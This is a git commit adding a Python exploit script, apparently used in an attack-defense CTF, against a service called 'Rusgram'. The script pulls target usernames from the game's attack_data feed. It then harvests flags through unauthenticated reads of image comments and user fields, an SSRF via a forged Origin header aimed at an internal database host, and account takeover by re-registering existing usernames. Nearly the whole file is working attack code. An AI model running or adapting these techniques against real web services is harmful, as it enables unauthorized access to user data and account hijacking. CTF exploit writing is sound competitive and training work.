hueta
build-and-push / detect (push) Successful in 10s
build-and-push / build (${{ fromJSON(needs.detect.outputs.services) }}) (push) Successful in 24s

This commit is contained in:
frogolonso
2026-08-26 12:53:27 +03:00
parent 0d1b49ac1b
commit 24b5dd9cdf
2 changed files with 278 additions and 0 deletions
+278
View File
@@ -0,0 +1,278 @@
#!/usr/bin/env python3
"""
Rusgram — targeted steal по ForcAD attack_data + всегда-активный сбор
флагов из комментариев к картинкам (:38002/images/N, без auth — как в перехвате).
Флаги живут в comments картинок и в полях msg / first_name / email жертвы.
Не дублирует rusgram_sploit.py (энумерация+RCE) и rusgram_ssti_flagrake.py
(grep по ФС): здесь нет слепого ls/grep — только имена из ленты.
./start_sploit.py rusgram_attack_data.py
python3 rusgram_attack_data.py <IP> [PORT]
"""
import json
import os
import random
import re
import string
import sys
import requests
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
IP_RX = re.compile(r"^\d{1,3}(?:\.\d{1,3}){3}$")
TIMEOUT = 4
PROXY_PORT = 38000
DB_PORT = 38002
CONTENT_PORT = 38004
ATTACK_DATA_URL = os.environ.get(
"ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data")
SERVICE_HINTS = ("rusgram", "gram", "instagram")
USER_KEYS = ("username", "login", "user", "name", "login_name", "public")
FIELDS = ("msg", "first_name", "second_name", "email")
MAX_USERS = 40
def _rnd(n=10):
return "".join(random.choices(string.ascii_lowercase, k=n))
def _log(msg):
print(f"[*] {msg}", file=sys.stderr, flush=True)
def _looks_username(s):
if not isinstance(s, str):
return False
s = s.strip()
if not s or len(s) > 64 or len(s) < 1:
return False
if FLAG_RX.fullmatch(s) or IP_RX.fullmatch(s):
return False
if s.startswith("http://") or s.startswith("https://"):
return False
if any(c in s for c in " \t\r\n/\\"):
return False
return True
def _harvest(node, out):
if node is None:
return
if isinstance(node, str):
raw = node.strip()
if raw.startswith("{") or raw.startswith("["):
try:
_harvest(json.loads(raw), out)
return
except ValueError:
pass
if _looks_username(raw):
out.append(raw)
return
if isinstance(node, (int, float, bool)):
return
if isinstance(node, list):
for x in node:
_harvest(x, out)
return
if isinstance(node, dict):
for k, v in node.items():
lk = str(k).lower()
if lk in USER_KEYS and isinstance(v, str) and _looks_username(v):
out.append(v.strip())
else:
_harvest(v, out)
def get_attack_data(target_ip):
"""ForcAD: {service: {ip|team_id: [hints...]}} — берём хинты своей цели."""
try:
r = requests.get(ATTACK_DATA_URL, timeout=3)
r.raise_for_status()
data = r.json()
except (requests.RequestException, ValueError) as e:
_log(f"attack_data: {e}")
return []
if not isinstance(data, dict):
return []
team_id = target_ip.rsplit(".", 1)[-1]
scoped = []
def scope(node):
if not isinstance(node, dict):
return
for key, val in node.items():
k = str(key)
if k == target_ip or k == team_id:
scoped.append(val)
elif any(h in k.lower() for h in SERVICE_HINTS):
if isinstance(val, dict):
scope(val)
else:
scoped.append(val)
scope(data)
if not scoped:
scoped.append(data.get(target_ip) or data.get(team_id) or [])
users = []
for node in scoped:
_harvest(node, users)
# newest last in ForcAD → бьём свежие флаги первыми
seen, ordered = set(), []
for u in reversed(users):
if u not in seen:
seen.add(u)
ordered.append(u)
ordered = ordered[:MAX_USERS]
_log(f"attack_data: {len(ordered)} users for {target_ip}")
return ordered
def _pull_flags(text, flags):
if not text:
return
flags |= set(FLAG_RX.findall(text))
def steal_images(ip, flags):
"""Главный рабочий вектор (см. перехват): флаги в comments картинок.
Не нужны ни имена, ни attack_data — просто читаем :38002/images/1..16."""
d = f"http://{ip}:{DB_PORT}"
before = len(flags)
for i in range(1, 17):
try:
r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT)
_pull_flags(r.text, flags)
except requests.RequestException:
break
# тот же ресурс через content-ноду, если 38002 прикрыт, а 38004 нет
c = f"http://{ip}:{CONTENT_PORT}"
for i in range(1, 17):
try:
r = requests.get(f"{c}/images/{i}", timeout=TIMEOUT)
_pull_flags(r.text, flags)
except requests.RequestException:
break
if len(flags) > before:
_log(f"images : +{len(flags) - before}")
def steal_db(ip, users, flags):
d = f"http://{ip}:{DB_PORT}"
before = len(flags)
for u in users:
for field in FIELDS:
try:
r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT)
_pull_flags(r.text, flags)
except requests.RequestException:
return
if len(flags) > before:
_log(f"db : +{len(flags) - before}")
def steal_content(ip, users, flags):
c = f"http://{ip}:{CONTENT_PORT}"
before = len(flags)
for u in users:
try:
r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT)
_pull_flags(r.text, flags)
except requests.RequestException:
return
if len(flags) > before:
_log(f"content : +{len(flags) - before}")
def steal_ssrf(base, users, flags):
actor, pwd = _rnd(), _rnd()
try:
requests.post(f"{base}/api/register",
json={"login": actor, "password": pwd}, timeout=TIMEOUT)
except requests.RequestException:
return
before = len(flags)
for u in users:
for field in FIELDS:
try:
r = requests.post(
f"{base}/api/send_msg", json={"msg": "x"},
cookies={"session": f"{actor}||WRONGPASS"},
headers={"Origin": f"http://database:5002/users/{u}/{field}?x="},
timeout=TIMEOUT)
_pull_flags(r.text, flags)
except requests.RequestException:
return
if len(flags) > before:
_log(f"ssrf : +{len(flags) - before}")
def steal_ato(base, users, flags):
before = len(flags)
for u in users:
pwd = _rnd()
try:
r = requests.post(f"{base}/api/register",
json={"login": u, "password": pwd}, timeout=TIMEOUT)
if r.status_code != 200:
continue
r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"},
timeout=TIMEOUT)
_pull_flags(r.text, flags)
except requests.RequestException:
continue
if len(flags) > before:
_log(f"ato : +{len(flags) - before}")
def exploit(target_ip, port=None):
proxy_port = int(port) if port else PROXY_PORT
base = f"http://{target_ip}:{proxy_port}"
flags = set()
# 1) always-on: флаги в комментах картинок, attack_data не нужен
steal_images(target_ip, flags)
# 2) targeted: если attack_data доступен — добираем поля юзеров
users = get_attack_data(target_ip)
if users:
steal_db(target_ip, users, flags)
steal_content(target_ip, users, flags)
steal_ssrf(base, users, flags)
steal_ato(base, users, flags)
return flags
def start_sploit(ip, port=None):
return exploit(ip, port)
def sploit(ip, port=None):
return exploit(ip, port)
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port]", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
port = sys.argv[2] if len(sys.argv) > 2 else None
try:
for flag in exploit(target_ip, port) or []:
clean = str(flag).strip()
if FLAG_RX.fullmatch(clean):
print(clean, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()